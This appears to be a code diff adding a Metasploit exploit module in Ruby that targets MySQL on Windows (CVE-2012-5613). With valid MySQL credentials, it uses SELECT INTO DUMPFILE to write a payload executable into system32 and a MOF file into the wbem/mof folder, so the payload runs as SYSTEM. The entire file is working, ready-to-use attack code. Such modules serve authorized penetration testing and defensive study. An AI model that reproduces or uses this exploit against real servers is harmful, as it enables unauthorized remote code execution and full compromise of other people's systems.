|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::MYSQL |
| 14 | + include Msf::Exploit::WbemExec |
| 15 | + include Msf::Exploit::EXE |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution', |
| 20 | + 'Description' => %q{ |
| 21 | + This modules takes advantage of a file privilege misconfiguration problem |
| 22 | + specifically against Windows MySQL servers (due to the use of a .mof file). |
| 23 | + This may result in arbitrary code execution under the context of SYSTEM. However, |
| 24 | + please note in order to use this module, you must have a valid MySQL account on |
| 25 | + the target machine. |
| 26 | + }, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'kingcope', |
| 30 | + 'sinn3r' |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + ['CVE', 'CVE-2012-5613'], #DISPUTED |
| 36 | + ['EDB', '23083'], |
| 37 | + ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13'] |
| 38 | + ], |
| 39 | + 'Platform' => 'win', |
| 40 | + 'Targets' => |
| 41 | + [ |
| 42 | + [ 'MySQL on Windows', { } ] |
| 43 | + ], |
| 44 | + 'DefaultTarget' => 0, |
| 45 | + 'DisclosureDate' => 'Dec 01 2012' |
| 46 | + )) |
| 47 | + |
| 48 | + register_options( |
| 49 | + [ |
| 50 | + OptString.new('USERNAME', [ true, 'The username to authenticate as']), |
| 51 | + OptString.new('PASSWORD', [ true, 'The password to authenticate with']) |
| 52 | + ]) |
| 53 | + end |
| 54 | + |
| 55 | + def check |
| 56 | + begin |
| 57 | + m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) |
| 58 | + rescue RbMysql::AccessDeniedError |
| 59 | + print_error("#{peer} - Access denied.") |
| 60 | + return Exploit::CheckCode::Safe |
| 61 | + end |
| 62 | + |
| 63 | + return Exploit::CheckCode::Appears if is_windows? |
| 64 | + return Exploit::CheckCode::Safe |
| 65 | + end |
| 66 | + |
| 67 | + def peer |
| 68 | + "#{rhost}:#{rport}" |
| 69 | + end |
| 70 | + |
| 71 | + def query(q) |
| 72 | + rows = [] |
| 73 | + |
| 74 | + begin |
| 75 | + res = mysql_query(q) |
| 76 | + return rows if not res |
| 77 | + res.each_hash do |row| |
| 78 | + rows << row |
| 79 | + end |
| 80 | + rescue RbMysql::ParseError |
| 81 | + return rows |
| 82 | + end |
| 83 | + |
| 84 | + return rows |
| 85 | + end |
| 86 | + |
| 87 | + def is_windows? |
| 88 | + r = query("SELECT @@version_compile_os;") |
| 89 | + return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false |
| 90 | + end |
| 91 | + |
| 92 | + def get_drive_letter |
| 93 | + r = query("SELECT @@tmpdir;") |
| 94 | + drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || '' |
| 95 | + return drive |
| 96 | + end |
| 97 | + |
| 98 | + def upload_file(bin, dest) |
| 99 | + p = bin.unpack("H*")[0] |
| 100 | + query("SELECT 0x#{p} into DUMPFILE '#{dest}'") |
| 101 | + end |
| 102 | + |
| 103 | + def exploit |
| 104 | + print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") |
| 105 | + begin |
| 106 | + m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) |
| 107 | + return if not m |
| 108 | + rescue RbMysql::AccessDeniedError |
| 109 | + print_error("#{peer} - Access denied.") |
| 110 | + return |
| 111 | + end |
| 112 | + |
| 113 | + if not is_windows? |
| 114 | + print_error("#{peer} - Remote host isn't Windows.") |
| 115 | + return |
| 116 | + end |
| 117 | + |
| 118 | + drive = get_drive_letter |
| 119 | + exe_name = Rex::Text::rand_text_alpha(5) + ".exe" |
| 120 | + dest = "#{drive}:/windows/system32/#{exe_name}" |
| 121 | + exe = generate_payload_exe |
| 122 | + print_status("#{peer} - Uploading to '#{dest}'") |
| 123 | + begin |
| 124 | + upload_file(exe, dest) |
| 125 | + rescue RbMysql::AccessDeniedError |
| 126 | + print_error("#{peer} - No permission to write. I blame kc :-)") |
| 127 | + return |
| 128 | + end |
| 129 | + |
| 130 | + mof_name = Rex::Text::rand_text_alpha(5) + ".mof" |
| 131 | + dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}" |
| 132 | + mof = generate_mof(mof_name, exe_name) |
| 133 | + print_status("#{peer} - Uploading to '#{dest}'") |
| 134 | + begin |
| 135 | + upload_file(mof, dest) |
| 136 | + rescue RbMysql::AccessDeniedError |
| 137 | + print_error("#{peer} - No permission to write. Bail!") |
| 138 | + return |
| 139 | + end |
| 140 | + end |
| 141 | + |
| 142 | +end |
0 commit comments